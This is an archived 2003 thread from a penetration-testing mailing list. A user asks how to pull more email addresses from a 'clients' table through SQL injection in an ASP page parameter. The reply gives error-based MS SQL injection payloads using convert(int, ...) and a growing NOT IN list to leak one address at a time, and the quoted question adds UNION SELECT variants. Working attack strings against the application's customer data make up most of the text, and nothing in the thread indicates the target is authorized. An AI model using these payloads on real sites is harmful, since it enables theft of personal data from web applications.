A similar situation is covered in my paper at http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf Basically, you should use the NOT IN to get the other values. In this case, you'd start like this: ' %2b convert(int, (SELECT email FROM clients WHERE email NOT IN ('anonat_private'))) %2b ' And then the next one would be: ' %2b convert(int, (SELECT email FROM clients WHERE email NOT IN ('anonat_private', 'secondemailat_private'))) %2b ' And so on... Kevin Spett SPI Labs http://www.spidynamics.com/ ----- Original Message ----- From: "Daniel Savi" <dssat_private> To: <pen-testat_private> Sent: Wednesday, February 12, 2003 12:48 PM Subject: SQL injection - get more values > > > Hi :) > > i'm trying to get some info from clients table and email field.... > > i try this param into gubpage.asp?=... > ') union select sum(email) from clients-- > and got error about all queries needed...so, i tryed to solve with > ') union select sum(email),1,1,1.... from clients-- > until i get: operand type clash: text is incompatible with int > > i found this answer into this forum (thanks :)), was: > ' %2b convert(int, (SELECT email FROM clients WHERE email > 'a')) %2b ' > > i got this: > Syntax error converting the varchar value 'anonat_private' to a column of > data type int > > Now, my problem: How can i get other e-mail from table knowing one valid > value? > > i try this > ' %2b convert(int, (SELECT email FROM clients WHERE email > > 'anonat_private')) %2b ' > but no success > > i think i can use NOT iN, but not sure how to use with convert... > > Any tip are welcome! > > Thanks > > -------------------------------------------------------------------------- -- > This list is provided by the SecurityFocus Security Intelligence Alert (SIA) > Service. For more information on SecurityFocus' SIA service which > automatically alerts you to the latest security vulnerabilities please see: > https://alerts.securityfocus.com/ > > ---------------------------------------------------------------------------- This list is provided by the SecurityFocus Security Intelligence Alert (SIA) Service. For more information on SecurityFocus' SIA service which automatically alerts you to the latest security vulnerabilities please see: https://alerts.securityfocus.com/
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